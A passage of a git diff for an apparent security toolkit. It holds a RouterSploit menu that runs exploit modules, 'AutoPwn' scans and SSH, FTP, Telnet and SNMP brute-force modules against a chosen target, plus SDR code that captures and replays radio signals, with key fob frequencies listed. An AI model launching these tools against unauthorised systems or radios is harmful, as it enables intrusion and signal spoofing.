+ desc = opt.get('description', '') + print(f" {Colors.CYAN}{opt['name']:<20}{Colors.RESET} " + f"= {current or Colors.DIM + '(empty)' + Colors.RESET}" + f" {Colors.DIM}{desc[:40]}{Colors.RESET}") + + if advanced: + print() + print(f" {Colors.DIM}Advanced Options:{Colors.RESET}") + for opt in advanced: + current = opt.get('current', '') + print(f" {Colors.DIM}{opt['name']:<20} = {current}{Colors.RESET}") + else: + print(f" {Colors.DIM}No configurable options{Colors.RESET}") + + print() + print(f" {Colors.RED}[1]{Colors.RESET} Set Option") + print(f" {Colors.RED}[2]{Colors.RESET} Show All Options") + print(f" {Colors.GREEN}[3]{Colors.RESET} Check Target (safe)") + print(f" {Colors.RED}[4]{Colors.RESET} Run Module") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + elif choice == '1': + self._set_option() + elif choice == '2': + self._show_all_options() + elif choice == '3': + self._check_target() + elif choice == '4': + self._run_module() + + except (EOFError, KeyboardInterrupt): + break + + def _set_option(self): + """Set a module option.""" + print() + name = input(f"{Colors.WHITE} Option name: {Colors.RESET}").strip() + if not name: + return + + # Show help + help_text = format_setting_help(name) + if help_text and 'No help available' not in help_text: + print(help_text) + print() + + # Get current value + try: + current = getattr(self.current_instance, name, '') + except Exception: + current = '' + + prompt = f" Value [{current}]: " if current else " Value: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value and current: + return + + if value: + try: + self.rsf_manager.set_module_option(self.current_instance, name, value) + self.print_status(f"{name} => {value}", "success") + + # Update global settings if target/port + if name == 'target': + self.global_settings['target'] = value + elif name == 'port': + self.global_settings['port'] = value + except RSFError as e: + self.print_status(f"Error: {e}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _show_all_options(self): + """Show all options with details.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Options{Colors.RESET}") + print(f"{Colors.YELLOW} {self.current_module}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + options = self.rsf_manager.get_module_options(self.current_instance) + for opt in options: + adv_tag = f" {Colors.DIM}(advanced){Colors.RESET}" if opt.get('advanced') else "" + print(f" {Colors.CYAN}{opt['name']}{Colors.RESET}{adv_tag}") + print(f" Type: {opt.get('type', 'string')}") + print(f" Current: {opt.get('current', '(empty)')}") + print(f" Default: {opt.get('default', '(none)')}") + if opt.get('description'): + print(f" Desc: {self.wrap_text(opt['description'], indent=' ')}") + print() + + input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # CHECK & RUN + # ========================================================================= + + def _check_target(self): + """Run check() on the current module.""" + if not self.current_module or not self.current_instance: + self.print_status("No module selected", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + target = str(getattr(self.current_instance, 'target', '')) + if not target: + self.print_status("Target not set. Set target first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}[*] Running check() on {target}...{Colors.RESET}") + print(f"{Colors.DIM} This is a safe vulnerability verification.{Colors.RESET}") + print() + + from core.config import get_config + timeout = get_config().get_int('rsf', 'execution_timeout', 120) + + check_result, output = self.rsf_manager.execute_check(self.current_instance, timeout) + + if check_result is True: + self.print_status(f"Target IS VULNERABLE", "success") + elif check_result is False: + self.print_status(f"Target is NOT vulnerable", "info") + else: + self.print_status(f"Check returned no definitive result", "warning") + + if output: + print() + # Strip ANSI for display + from core.rsf_interface import _ANSI_RE + cleaned = _ANSI_RE.sub('', output) + for line in cleaned.splitlines()[:30]: + stripped = line.strip() + if stripped: + if stripped.startswith('[+]'): + print(f" {Colors.GREEN}{stripped}{Colors.RESET}") + elif stripped.startswith('[-]'): + print(f" {Colors.RED}{stripped}{Colors.RESET}") + elif stripped.startswith('[*]'): + print(f" {Colors.CYAN}{stripped}{Colors.RESET}") + else: + print(f" {stripped}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _run_module(self): + """Run the current module with confirmation.""" + if not self.current_module or not self.current_instance: + self.print_status("No module selected", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + target = str(getattr(self.current_instance, 'target', '')) + if not target: + self.print_status("Target not set. Set target first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Confirmation + print() + print(f" {Colors.RED}{Colors.BOLD}WARNING: This will execute the module against the target.{Colors.RESET}") + print(f" {Colors.CYAN}Module:{Colors.RESET} {self.current_module}") + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + print() + + confirm = input(f"{Colors.WHITE} Proceed? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + self.print_status("Cancelled", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.RED}[*] Executing module...{Colors.RESET}\n") + + # Build options dict from current instance + options = {} + for opt in self.rsf_manager.get_module_options(self.current_instance): + options[opt['name']] = opt.get('current', '') + + result = self.rsf.run_module(self.current_module, options) + self.rsf.print_result(result) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def run_check(self): + """Run check from main menu (option 5).""" + if not self.current_module: + self.print_status("No module selected. Use Module Browser or Search first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + self._check_target() + + def run_module(self): + """Run module from main menu (option 6).""" + if not self.current_module: + self.print_status("No module selected. Use Module Browser or Search first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + self._run_module() + + # ========================================================================= + # QUICK SCAN + # ========================================================================= + + def quick_scan(self): + """Quick scan presets using RSF scanners.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Quick Scan{Colors.RESET}") + print(f"{Colors.DIM} Automated scanning presets{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + target = self.global_settings.get('target', '') + if target: + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + else: + print(f" {Colors.YELLOW}Target: (not set - will be prompted){Colors.RESET}") + print() + + print(f" {Colors.RED}[1]{Colors.RESET} AutoPwn {Colors.DIM}- Scan ALL modules (slow){Colors.RESET}") + print(f" {Colors.RED}[2]{Colors.RESET} Router Scan {Colors.DIM}- Router-specific modules{Colors.RESET}") + print(f" {Colors.RED}[3]{Colors.RESET} Camera Scan {Colors.DIM}- Camera-specific modules{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + elif choice == '1': + self._run_scanner('scanners/autopwn', 'AutoPwn') + elif choice == '2': + self._run_scanner('scanners/routers/router_scan', 'Router Scanner') + elif choice == '3': + self._run_scanner('scanners/cameras/camera_scan', 'Camera Scanner') + + except (EOFError, KeyboardInterrupt): + break + + def _run_scanner(self, module_path: str, name: str): + """Run a scanner module.""" + target = self.global_settings.get('target', '') + if not target: + print() + target = input(f"{Colors.WHITE} Target IP: {Colors.RESET}").strip() + if not target: + return + self.global_settings['target'] = target + + print() + print(f" {Colors.CYAN}Scanner:{Colors.RESET} {name}") + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + print(f" {Colors.DIM}This may take several minutes...{Colors.RESET}") + print() + + confirm = input(f"{Colors.WHITE} Start scan? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + print(f"\n{Colors.CYAN}[*] Starting {name}...{Colors.RESET}\n") + + options = {'target': target} + if self.global_settings.get('port'): + options['port'] = self.global_settings['port'] + + result = self.rsf.run_module(module_path, options) + self.rsf.print_result(result, verbose=True) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # CREDENTIAL CHECK + # ========================================================================= + + def credential_check(self): + """Run credential checking modules.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.YELLOW}{Colors.BOLD} Credential Check{Colors.RESET}") + print(f"{Colors.DIM} Test for default/weak credentials{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + target = self.global_settings.get('target', '') + if target: + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + else: + print(f" {Colors.YELLOW}Target: (not set - will be prompted){Colors.RESET}") + print() + + print(f" {Colors.YELLOW}[1]{Colors.RESET} FTP Default Creds {Colors.DIM}- Test FTP (port 21){Colors.RESET}") + print(f" {Colors.YELLOW}[2]{Colors.RESET} SSH Bruteforce {Colors.DIM}- Test SSH (port 22){Colors.RESET}") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Telnet Bruteforce {Colors.DIM}- Test Telnet (port 23){Colors.RESET}") + print(f" {Colors.YELLOW}[4]{Colors.RESET} HTTP Basic Auth {Colors.DIM}- Test HTTP auth (port 80){Colors.RESET}") + print(f" {Colors.YELLOW}[5]{Colors.RESET} SNMP Community Scan {Colors.DIM}- Test SNMP (port 161){Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + elif choice == '1': + self._run_cred_check('creds/generic/ftp_bruteforce', 'FTP Bruteforce') + elif choice == '2': + self._run_cred_check('creds/generic/ssh_bruteforce', 'SSH Bruteforce') + elif choice == '3': + self._run_cred_check('creds/generic/telnet_bruteforce', 'Telnet Bruteforce') + elif choice == '4': + self._run_cred_check('creds/generic/http_basic_digest_bruteforce', 'HTTP Auth Bruteforce') + elif choice == '5': + self._run_cred_check('creds/generic/snmp_bruteforce', 'SNMP Bruteforce') + + except (EOFError, KeyboardInterrupt): + break + + def _run_cred_check(self, module_path: str, name: str): + """Run a credential checking module.""" + target = self.global_settings.get('target', '') + if not target: + print() + target = input(f"{Colors.WHITE} Target IP: {Colors.RESET}").strip() + if not target: + return + self.global_settings['target'] = target + + print() + print(f" {Colors.YELLOW}Module:{Colors.RESET} {name}") + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + print() + + confirm = input(f"{Colors.WHITE} Start credential check? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + print(f"\n{Colors.CYAN}[*] Running {name}...{Colors.RESET}\n") + + options = {'target': target} + if self.global_settings.get('port'): + options['port'] = self.global_settings['port'] + + result = self.rsf.run_module(module_path, options) + self.rsf.print_result(result) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + +# ─── Module Entry Point ──────────────────────────────────────────────────── + +def run(): + """Main entry point for the RSF module.""" + menu = RSFMenu() + + while True: + menu.show_main_menu() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + elif choice == '1': + menu.show_target_settings() + elif choice == '2': + menu.show_module_browser() + elif choice == '3': + menu.search_modules() + elif choice == '4': + menu.show_current_module() + elif choice == '5': + menu.run_check() + elif choice == '6': + menu.run_module() + elif choice == '7': + menu.quick_scan() + elif choice == '8': + menu.credential_check() + + except (EOFError, KeyboardInterrupt): + break diff --git a/modules/sdr_tools.py b/modules/sdr_tools.py new file mode 100644 index 0000000..3b3201c --- /dev/null +++ b/modules/sdr_tools.py @@ -0,0 +1,2091 @@ +"""AUTARCH SDR / RF Tools + +Software-defined radio integration for spectrum analysis, signal capture/replay, +ADS-B tracking, FM/AM demodulation, and GPS spoofing detection. +Supports HackRF, RTL-SDR, and compatible devices. +""" + +DESCRIPTION = "SDR/RF — spectrum analysis, signal capture & replay" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import shutil +import struct +import subprocess +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Common Frequencies Reference ───────────────────────────────────────────── + +COMMON_FREQUENCIES = { + 'FM Broadcast': { + 'range': '87.5-108 MHz', + 'entries': [ + {'freq': 87500000, 'name': 'FM Band Start'}, + {'freq': 92100000, 'name': 'FM Example (92.1)'}, + {'freq': 97500000, 'name': 'FM Example (97.5)'}, + {'freq': 108000000, 'name': 'FM Band End'}, + ], + }, + 'Aviation': { + 'range': '108-137 MHz', + 'entries': [ + {'freq': 108000000, 'name': 'VOR/ILS Start'}, + {'freq': 118000000, 'name': 'Air Traffic Control Start'}, + {'freq': 121500000, 'name': 'Emergency / Guard'}, + {'freq': 123450000, 'name': 'Air-to-Air (Unicom)'}, + {'freq': 128825000, 'name': 'Eurocontrol UAC'}, + {'freq': 132000000, 'name': 'Approach Control'}, + {'freq': 136975000, 'name': 'ACARS'}, + ], + }, + 'Marine VHF': { + 'range': '156-162 MHz', + 'entries': [ + {'freq': 156000000, 'name': 'Ch 0 — Coast Guard'}, + {'freq': 156300000, 'name': 'Ch 6 — Intership Safety'}, + {'freq': 156525000, 'name': 'Ch 70 — DSC Distress'}, + {'freq': 156800000, 'name': 'Ch 16 — Distress / Calling'}, + {'freq': 161975000, 'name': 'AIS 1'}, + {'freq': 162025000, 'name': 'AIS 2'}, + ], + }, + 'Weather': { + 'range': '162.4-162.55 MHz', + 'entries': [ + {'freq': 162400000, 'name': 'NOAA WX1'}, + {'freq': 162425000, 'name': 'NOAA WX2'}, + {'freq': 162450000, 'name': 'NOAA WX3'}, + {'freq': 162475000, 'name': 'NOAA WX4'}, + {'freq': 162500000, 'name': 'NOAA WX5'}, + {'freq': 162525000, 'name': 'NOAA WX6'}, + {'freq': 162550000, 'name': 'NOAA WX7'}, + ], + }, + 'ISM 433': { + 'range': '433-434 MHz', + 'notes': 'Garage doors, key fobs, weather stations, tire pressure sensors', + 'entries': [ + {'freq': 433050000, 'name': 'ISM 433.05 — Key Fobs'}, + {'freq': 433420000, 'name': 'ISM 433.42 — TPMS'}, + {'freq': 433920000, 'name': 'ISM 433.92 — Common Remote'}, + {'freq': 434000000, 'name': 'ISM Band End'}, + ], + }, + 'ISM 915': { + 'range': '902-928 MHz', + 'notes': 'LoRa, smart meters, Z-Wave, RFID', + 'entries': [ + {'freq': 902000000, 'name': 'ISM 902 Band Start'}, + {'freq': 903900000, 'name': 'LoRa Uplink Start'}, + {'freq': 915000000, 'name': 'ISM Center'}, + {'freq': 923300000, 'name': 'LoRa Downlink Start'}, + {'freq': 928000000, 'name': 'ISM 928 Band End'}, + ], + }, + 'Pager': { + 'range': '929-932 MHz', + 'entries': [ + {'freq': 929000000, 'name': 'Pager Band Start'}, + {'freq': 931000000, 'name': 'Common Pager Freq'}, + {'freq': 931862500, 'name': 'FLEX Pager'}, + ], + }, + 'ADS-B': { + 'range': '1090 MHz', + 'entries': [ + {'freq': 978000000, 'name': 'UAT (978 MHz) — GA'}, + {'freq': 1090000000, 'name': 'Mode S Extended Squitter'}, + ], + }, + 'GPS L1': { + 'range': '1575.42 MHz', + 'entries': [ + {'freq': 1575420000, 'name': 'GPS L1 C/A'}, + {'freq': 1176450000, 'name': 'GPS L5'}, + {'freq': 1227600000, 'name': 'GPS L2'}, + {'freq': 1602000000, 'name': 'GLONASS L1'}, + ], + }, + 'WiFi 2.4': { + 'range': '2.4-2.5 GHz', + 'entries': [ + {'freq': 2412000000, 'name': 'Channel 1'}, + {'freq': 2437000000, 'name': 'Channel 6'}, + {'freq': 2462000000, 'name': 'Channel 11'}, + ], + }, + 'Public Safety': { + 'range': '150-174 / 450-470 MHz', + 'entries': [ + {'freq': 155475000, 'name': 'Police Mutual Aid'}, + {'freq': 155520000, 'name': 'Fire Mutual Aid'}, + {'freq': 156750000, 'name': 'Search & Rescue'}, + {'freq': 460025000, 'name': 'Police UHF Common'}, + {'freq': 462562500, 'name': 'FRS Channel 1'}, + {'freq': 462675000, 'name': 'GMRS Repeater'}, + ], + }, + 'Amateur': { + 'range': 'Various bands', + 'entries': [ + {'freq': 144000000, 'name': '2m Band Start'}, + {'freq': 146520000, 'name': '2m Calling Freq'}, + {'freq': 146940000, 'name': '2m Repeater'}, + {'freq': 440000000, 'name': '70cm Band Start'}, + {'freq': 446000000, 'name': '70cm Calling Freq'}, + ], + }, +} + + +# ── Drone RF Frequency Reference ───────────────────────────────────────────── + +DRONE_FREQUENCIES = { + 'dji_control_2g': {'center': 2437000000, 'bandwidth': 40000000, 'desc': 'DJI OcuSync 2.4 GHz Control'}, + 'dji_control_5g': {'center': 5787000000, 'bandwidth': 80000000, 'desc': 'DJI OcuSync 5.8 GHz Control'}, + 'fpv_video_5g': {'center': 5800000000, 'bandwidth': 200000000, 'desc': 'Analog FPV 5.8 GHz Video'}, + 'crossfire_900': {'center': 915000000, 'bandwidth': 26000000, 'desc': 'TBS Crossfire 900 MHz'}, + 'elrs_2g': {'center': 2440000000, 'bandwidth': 80000000, 'desc': 'ExpressLRS 2.4 GHz'}, + 'elrs_900': {'center': 915000000, 'bandwidth': 26000000, 'desc': 'ExpressLRS 900 MHz'}, + 'analog_video_12g': {'center': 1280000000, 'bandwidth': 100000000, 'desc': '1.2 GHz Analog Video'}, + 'telemetry_433': {'center': 433000000, 'bandwidth': 2000000, 'desc': '433 MHz Telemetry'}, +} + +FPV_5G_CHANNELS = { + 'R1': 5658, 'R2': 5695, 'R3': 5732, 'R4': 5769, 'R5': 5806, 'R6': 5843, 'R7': 5880, 'R8': 5917, + 'F1': 5740, 'F2': 5760, 'F3': 5780, 'F4': 5800, 'F5': 5820, 'F6': 5840, 'F7': 5860, 'F8': 5880, + 'E1': 5705, 'E2': 5685, 'E3': 5665, 'E4': 5645, 'E5': 5885, 'E6': 5905, 'E7': 5925, 'E8': 5945, + 'A1': 5865, 'A2': 5845, 'A3': 5825, 'A4': 5805, 'A5': 5785, 'A6': 5765, 'A7': 5745, 'A8': 5725, +} + + +# ── SDR Tools Class ────────────────────────────────────────────────────────── + +class SDRTools: + """Software-defined radio integration for the AUTARCH platform.""" + + _instance = None + + def __init__(self): + self._sdr_dir = Path(str(get_data_dir())) / 'sdr' + self._sdr_dir.mkdir(parents=True, exist_ok=True) + self._recordings_dir = self._sdr_dir / 'recordings' + self._recordings_dir.mkdir(parents=True, exist_ok=True) + self._metadata_file = self._sdr_dir / 'recordings_meta.json' + self._capture_process: Optional[subprocess.Popen] = None + self._capture_lock = threading.Lock() + self._capture_info: Dict[str, Any] = {} + self._adsb_process: Optional[subprocess.Popen] = None + self._adsb_thread: Optional[threading.Thread] = None + self._adsb_running = False + self._adsb_aircraft: Dict[str, Dict[str, Any]] = {} + self._adsb_lock = threading.Lock() + # Drone detection state + self._drone_process: Optional[subprocess.Popen] = None + self._drone_thread: Optional[threading.Thread] = None + self._drone_running = False + self._drone_detections: List[Dict[str, Any]] = [] + self._drone_lock = threading.Lock() + self._drone_detections_file = self._sdr_dir / 'drone_detections.json' + self._load_drone_detections() + self._load_metadata() + + def _load_metadata(self): + """Load recording metadata from disk.""" + try: + if self._metadata_file.exists(): + with open(self._metadata_file, 'r') as f: + self._metadata = json.load(f) + else: + self._metadata = [] + except Exception: + self._metadata = [] + + def _save_metadata(self): + """Persist recording metadata to disk.""" + try: + with open(self._metadata_file, 'w') as f: + json.dump(self._metadata, f, indent=2) + except Exception: + pass + + def _run_cmd(self, cmd: str, timeout: int = 30) -> tuple: + """Run a shell command and return (success, stdout).""" + try: + result = subprocess.run( + cmd, shell=True, capture_output=True, text=True, timeout=timeout + ) + return result.returncode == 0, result.stdout.strip() + except subprocess.TimeoutExpired: + return False, 'Command timed out' + except Exception as e: + return False, str(e) + + # ── Device Detection ───────────────────────────────────────────────────── + + def detect_devices(self) -> List[Dict[str, Any]]: + """Detect connected SDR devices (RTL-SDR, HackRF).""" + devices = [] + + # Check RTL-SDR + rtl_test = find_tool('rtl_test') + if rtl_test: + try: + result = subprocess.run( + [rtl_test, '-t'], + capture_output=True, text=True, timeout=8 + ) + output = result.stdout + result.stderr + # Look for "Found N device(s)" pattern + match = re.search(r'Found\s+(\d+)\s+device', output) + if match: + count = int(match.group(1)) + if count > 0: + # Parse each device + for m in re.finditer( + r'(\d+):\s+(.+?)(?:,\s*(.+?))?\s*(?:SN:\s*(\S+))?', + output + ): + devices.append({ + 'type': 'rtl-sdr', + 'index': int(m.group(1)), + 'name': m.group(2).strip(), + 'serial': m.group(4) or 'N/A', + 'status': 'available', + 'capabilities': ['rx'], + }) + # If regex didn't match specifics, add generic entry + if not devices: + for i in range(count): + devices.append({ + 'type': 'rtl-sdr', + 'index': i, + 'name': 'RTL-SDR Device', + 'serial': 'N/A', + 'status': 'available', + 'capabilities': ['rx'], + }) + elif 'No supported devices' not in output: + # rtl_test ran but gave unexpected output + pass + except subprocess.TimeoutExpired: + pass + except Exception: + pass + else: + devices.append({ + 'type': 'rtl-sdr', + 'name': 'RTL-SDR', + 'serial': 'N/A', + 'status': 'tool_missing', + 'note': 'rtl_test not found — install rtl-sdr package', + 'capabilities': [], + }) + + # Check HackRF + hackrf_info = find_tool('hackrf_info') + if hackrf_info: + try: + result = subprocess.run( + [hackrf_info], + capture_output=True, text=True, timeout=8 + ) + output = result.stdout + result.stderr + if 'Serial number' in output: + serials = re.findall(r'Serial number:\s*(\S+)', output) + fw_versions = re.findall(r'Firmware Version:\s*(.+)', output) + for idx, serial in enumerate(serials): + devices.append({ + 'type': 'hackrf', + 'index': idx, + 'name': 'HackRF One', + 'serial': serial, + 'firmware': fw_versions[idx].strip() if idx < len(fw_versions) else 'Unknown', + 'status': 'available', + 'capabilities': ['rx', 'tx'], + }) + elif 'No HackRF' in output or result.returncode != 0: + pass + except subprocess.TimeoutExpired: + pass + except Exception: + pass + else: + devices.append({ + 'type': 'hackrf', + 'name': 'HackRF', + 'serial': 'N/A', + 'status': 'tool_missing', + 'note': 'hackrf_info not found — install hackrf package', + 'capabilities': [], + }) + + return devices + + # ── Spectrum Scanning ──────────────────────────────────────────────────── + + def scan_spectrum(self, device: str = 'rtl', freq_start: int = 88000000, + freq_end: int = 108000000, step: Optional[int] = None, + gain: Optional[int] = None, duration: int = 5) -> Dict[str, Any]: + """Sweep a frequency range and collect signal strength at each step. + + Returns a dict with 'data' (list of {freq, power_db}) and scan metadata. + """ + if step is None: + # Auto-calculate step based on range + span = freq_end - freq_start + if span <= 1000000: + step = 10000 # 10 kHz steps for narrow scans + elif span <= 10000000: + step = 100000 # 100 kHz steps + elif span <= 100000000: + step = 250000 # 250 kHz steps + else: + step = 1000000 # 1 MHz steps for wide scans + + results = {'data': [], 'device': device, 'freq_start': freq_start, + 'freq_end': freq_end, 'step': step, 'timestamp': datetime.now(timezone.utc).isoformat()} + + if device == 'hackrf': + return self._scan_hackrf(freq_start, freq_end, step, gain, duration, results) + else: + return self._scan_rtl(freq_start, freq_end, step, gain, duration, results) + + def _scan_rtl(self, freq_start, freq_end, step, gain, duration, results): + """Spectrum scan using rtl_power.""" + rtl_power = find_tool('rtl_power') + if not rtl_power: + results['error'] = 'rtl_power not found — install rtl-sdr package' + return results + + # rtl_power output file + outfile = self._sdr_dir / 'spectrum_scan.csv' + if outfile.exists(): + outfile.unlink() + + # Build command: rtl_power -f :: -g -i -1 + cmd = [rtl_power, + '-f', f'{freq_start}:{freq_end}:{step}', + '-i', str(duration), + '-1'] # single sweep + if gain is not None: + cmd.extend(['-g', str(gain)]) + cmd.append(str(outfile)) + + try: + proc = subprocess.run(cmd, capture_output=True, text=True, + timeout=duration + 30) + if not outfile.exists(): + results['error'] = 'No output from rtl_power: ' + (proc.stderr or proc.stdout) + return results + + # Parse CSV: date,time,Hz_low,Hz_high,Hz_step,samples,dB,dB,... + with open(outfile, 'r') as f: + for line in f: + line = line.strip() + if not line: + continue + parts = line.split(',') + if len(parts) < 7: + continue + try: + hz_low = float(parts[2]) + hz_step = float(parts[4]) + db_values = [float(x) for x in parts[6:] if x.strip()] + for i, db in enumerate(db_values): + freq = hz_low + (i * hz_step) + results['data'].append({ + 'freq': int(freq), + 'power_db': round(db, 2) + }) + except (ValueError, IndexError): + continue + + results['points'] = len(results['data']) + except subprocess.TimeoutExpired: + results['error'] = 'Spectrum scan timed out' + except Exception as e: + results['error'] = str(e) + + return results + + def _scan_hackrf(self, freq_start, freq_end, step, gain, duration, results): + """Spectrum scan using hackrf_sweep.""" + hackrf_sweep = find_tool('hackrf_sweep') + if not hackrf_sweep: + results['error'] = 'hackrf_sweep not found — install hackrf package' + return results + + # Convert Hz to MHz for hackrf_sweep + f_start_mhz = freq_start // 1000000 + f_end_mhz = max(freq_end // 1000000, f_start_mhz + 1) + + cmd = [hackrf_sweep, + '-f', f'{f_start_mhz}:{f_end_mhz}', + '-n', '8192', # FFT bin width + '-w', str(step)] + if gain is not None: + cmd.extend(['-l', str(gain)]) # LNA gain + + try: + proc = subprocess.run(cmd, capture_output=True, text=True, + timeout=duration + 30) + output = proc.stdout + # Parse hackrf_sweep output: date,time,Hz_low,Hz_high,Hz_bin_width,num_samples,dB... + for line in output.splitlines(): + line = line.strip() + if not line or line.startswith('#'): + continue + parts = line.split(',') + if len(parts) < 7: + continue + try: + hz_low = float(parts[2].strip()) + hz_bin_width = float(parts[4].strip()) + db_values = [float(x.strip()) for x in parts[6:] if x.strip()] + for i, db in enumerate(db_values): + freq = hz_low + (i * hz_bin_width) + if freq_start <= freq <= freq_end: + results['data'].append({ + 'freq': int(freq), + 'power_db': round(db, 2) + }) + except (ValueError, IndexError): + continue + + results['points'] = len(results['data']) + except subprocess.TimeoutExpired: + results['error'] = 'HackRF sweep timed out' + except Exception as e: + results['error'] = str(e) + + return results + + # ── Signal Capture ─────────────────────────────────────────────────────── + + def start_capture(self, device: str = 'rtl', frequency: int = 100000000, + sample_rate: int = 2048000, gain: str = 'auto', + duration: int = 10, output: Optional[str] = None) -> Dict[str, Any]: + """Capture raw IQ samples to a file.""" + with self._capture_lock: + if self._capture_process is not None and self._capture_process.poll() is None: + return {'error': 'Capture already in progress', 'capturing': True} + + ts = datetime.now(timezone.utc).strftime('%Y%m%d_%H%M%S') + freq_mhz = frequency / 1000000 + filename = output or f'capture_{freq_mhz:.3f}MHz_{ts}.raw' + filepath = self._recordings_dir / filename + + if device == 'hackrf': + tool = find_tool('hackrf_transfer') + if not tool: + return {'error': 'hackrf_transfer not found — install hackrf package'} + cmd = [tool, + '-r', str(filepath), + '-f', str(frequency), + '-s', str(sample_rate), + '-n', str(sample_rate * duration)] + if gain != 'auto': + cmd.extend(['-l', str(gain)]) + else: + tool = find_tool('rtl_sdr') + if not tool: + return {'error': 'rtl_sdr not found — install rtl-sdr package'} + cmd = [tool, + '-f', str(frequency), + '-s', str(sample_rate), + '-n', str(sample_rate * duration)] + if gain != 'auto': + cmd.extend(['-g', str(gain)]) + cmd.append(str(filepath)) + + try: + self._capture_process = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + self._capture_info = { + 'file': str(filepath), + 'filename': filename, + 'device': device, + 'frequency': frequency, + 'sample_rate': sample_rate, + 'gain': gain, + 'duration': duration, + 'started': datetime.now(timezone.utc).isoformat(), + 'pid': self._capture_process.pid, + } + + # Auto-stop thread + def _auto_stop(): + try: + self._capture_process.wait(timeout=duration + 5) + except subprocess.TimeoutExpired: + self._capture_process.terminate() + finally: + self._finalize_capture() + + t = threading.Thread(target=_auto_stop, daemon=True) + t.start() + + return { + 'status': 'capturing', + 'file': filename, + 'frequency': frequency, + 'sample_rate': sample_rate, + 'duration': duration, + 'device': device, + } + except Exception as e: + self._capture_process = None + return {'error': f'Failed to start capture: {e}'} + + def _finalize_capture(self): + """Save metadata for a completed capture.""" + with self._capture_lock: + info = self._capture_info.copy() + filepath = Path(info.get('file', '')) + if filepath.exists(): + size = filepath.stat().st_size + info['size'] = size + info['size_human'] = self._human_size(size) + # Calculate actual duration from file size + sr = info.get('sample_rate', 2048000) + # IQ samples: 2 bytes per sample (8-bit I + 8-bit Q) for RTL-SDR + bytes_per_sample = 2 + actual_samples = size / bytes_per_sample + info['actual_duration'] = round(actual_samples / sr, 2) if sr > 0 else 0 + info['completed'] = datetime.now(timezone.utc).isoformat() + self._metadata.append(info) + self._save_metadata() + self._capture_process = None + self._capture_info = {} + + def stop_capture(self) -> Dict[str, Any]: + """Stop an active capture.""" + with self._capture_lock: + if self._capture_process is None or self._capture_process.poll() is not None: + return {'status': 'no_capture', 'message': 'No capture is running'} + try: + self._capture_process.terminate() + self._capture_process.wait(timeout=5) + except subprocess.TimeoutExpired: + self._capture_process.kill() + except Exception: + pass + self._finalize_capture() + return {'status': 'stopped', 'message': 'Capture stopped'} + + def is_capturing(self) -> bool: + """Check if a capture is currently running.""" + with self._capture_lock: + return (self._capture_process is not None + and self._capture_process.poll() is None) + + # ── Replay ─────────────────────────────────────────────────────────────── + + def replay_signal(self, file_path: str, frequency: int = 100000000, + sample_rate: int = 2048000, gain: int = 47) -> Dict[str, Any]: + """Transmit a captured signal via HackRF (TX only on HackRF).""" + hackrf = find_tool('hackrf_transfer') + if not hackrf: + return {'error': 'hackrf_transfer not found — install hackrf package'} + + # Resolve file path + fpath = Path(file_path) + if not fpath.is_absolute(): + fpath = self._recordings_dir / file_path + if not fpath.exists(): + return {'error': f'Recording file not found: {file_path}'} + + cmd = [hackrf, + '-t', str(fpath), + '-f', str(frequency), + '-s', str(sample_rate), + '-x', str(gain)] # -x = TX VGA gain + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + if result.returncode == 0: + return { + 'status': 'completed', + 'message': f'Replayed {fpath.name} at {frequency/1e6:.3f} MHz', + 'file': 